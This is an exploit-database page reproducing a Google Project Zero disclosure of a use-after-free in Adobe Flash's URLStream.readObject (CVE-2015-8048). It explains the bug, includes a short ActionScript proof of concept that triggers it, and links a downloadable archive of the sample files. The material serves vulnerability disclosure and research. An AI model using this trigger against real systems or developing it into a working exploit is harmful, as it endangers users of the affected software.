[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Adobe Flash - URLStream.readObject Use-After-Free

Author
Google Security Research
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-25961
Category
dos / poc
Date add
01-04-2016
CVE
CVE-2015-8048
Platform
multiple
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=611
 
There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it.
 
A minimal PoC is as follows:
 
//In main
 
flash.net.registerClassAlias("bob", myclass);
             
             
var u:URLStream = new URLStream();
myclass.u = u;
u.addEventListener(Event.COMPLETE, func);
u.load(new URLRequest("file.txt"));
     
function func(){    
    trace(u.readObject());
    }
 
// in myclass
 
static public var u;
         
public function myclass()
{
    u.close();
}
 
A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39649.zip

#  0day.today [2024-12-26]  #